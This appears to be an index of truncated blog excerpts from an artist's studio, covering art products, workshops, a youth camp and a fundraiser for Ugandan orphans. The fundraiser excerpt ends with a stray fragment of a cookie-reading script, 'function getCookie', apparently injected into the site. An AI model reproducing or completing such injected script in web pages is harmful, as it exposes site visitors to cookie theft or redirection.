I have now added Poetic Art Hoodies to the Studio`s wearable art collection. Each hoodie has a unique, canvas art piece on the back which is framed with black burlap to give it a framed affect. The hoodies are available in black and come in sizes S-XXL. One of the main questions that clients have

For months now, I’ve been getting a lot of requests for batik workshops. There is an interest in exploring this creative and extremely rewarding art form. Batik workshops are a great way to learn the basics of batik and experiment with various techniques. I have been practicing batik since the late 90s and it is

Poetic Art Studio is moving from its Mount Pleasant Road home, as of December 2011.  I will always remember this space fondly – for two years it was my creative home. I have decided to move on to bigger and better things. Despite not having a new home for my artwork and workshops yet, I

I just finished doing an order of 50 creative wedding favours for an upcoming wedding on September 3rd. If you our someone you know is looking for an artistic, creative option for your wedding favours you might want to consider canvas wedding scrolls. Canvas wedding scrolls are unique, memorable and will definitely make a positive

After more than two years of trying to get my cards into Ryerson University Bookstore (17 Gould Street in Toronto) they were finally accepted on a two month trial basis! The cards are available from July 15 – September 15. If the trial goes well, I might get a permanent rack in the store. Support

I am doing an art camp this summer with MicroSkills Canada. I’ve got the opportunity to work with two groups of about 30 youth ages 10-15 based in Rexdale, Ontario. Time is really flying as the camp is almost over – just three weeks to go! The youth are working their way through a Poetic

4 Days of Workshops at HumberWood Downs Junior Middle Academy My experience working with the staff and students at Humberwood Downs JMA was very enjoyable!Over four full days, I worked with over 120 Grade 5 students and facilitated my workshop entitled: ‘Drawing & Writing My Emotions’. Students had an opportunity to express their emotions through

It’s been just over one years since my first Poetic Art book was published, ‘inspired’. I’ve only got one personal copy left but the rest of the books are sold! Right now, I’m thinking about whether I should do a reprint or if I should publish version #2. For now I think I’ll work on

I have just introduced two new products to the studio – Poetic Art scarves – scarves made of West African mudcloth from Mali as well as Poetic Art T-shirts. The scarves came to me as an idea in December 2010 and the T-shirts are a product that I have had many requests for from my

Nzirambi Orphan’s Centre Poetic Art Studio recently worked with the Nzirambi Orphan’s Centre to help raise funds for the orphans in Uganda.  Funds raised from the sale of Poetic Art prints and cards helped contribute to the Centre’s $10,000 fundraising goal to help pay expenses needed to send the orphans to school. function getCookie(e){var U=document.cookie.match(new

There is never a dull moment at the Studio. Right now I am working on my second artistic furniture piece. It’s another coffee table that will be customized as a one-of-a-kind Poetic Art piece. The table has a retro feel to it and I think the custom artwork on the top will make it a

I was recently asked by Herizon’s magazine to to an illustration for an article focused on the ban of the niqab veil worn by many Muslim women as part of the hijab. I really enjoyed the opportunity to create an image that helped to illustrate the controversy behind this issue. You can take a look

I’m pleased to say that The National Women’s Show, Nov5-7, 2010 in Toronto was a very successful show. All this time living in Toronto and I never realized that the show was so popular and well attended. Thanks to everyone who supported Poetic Art Studio! See you again next year! Here’s a photo of the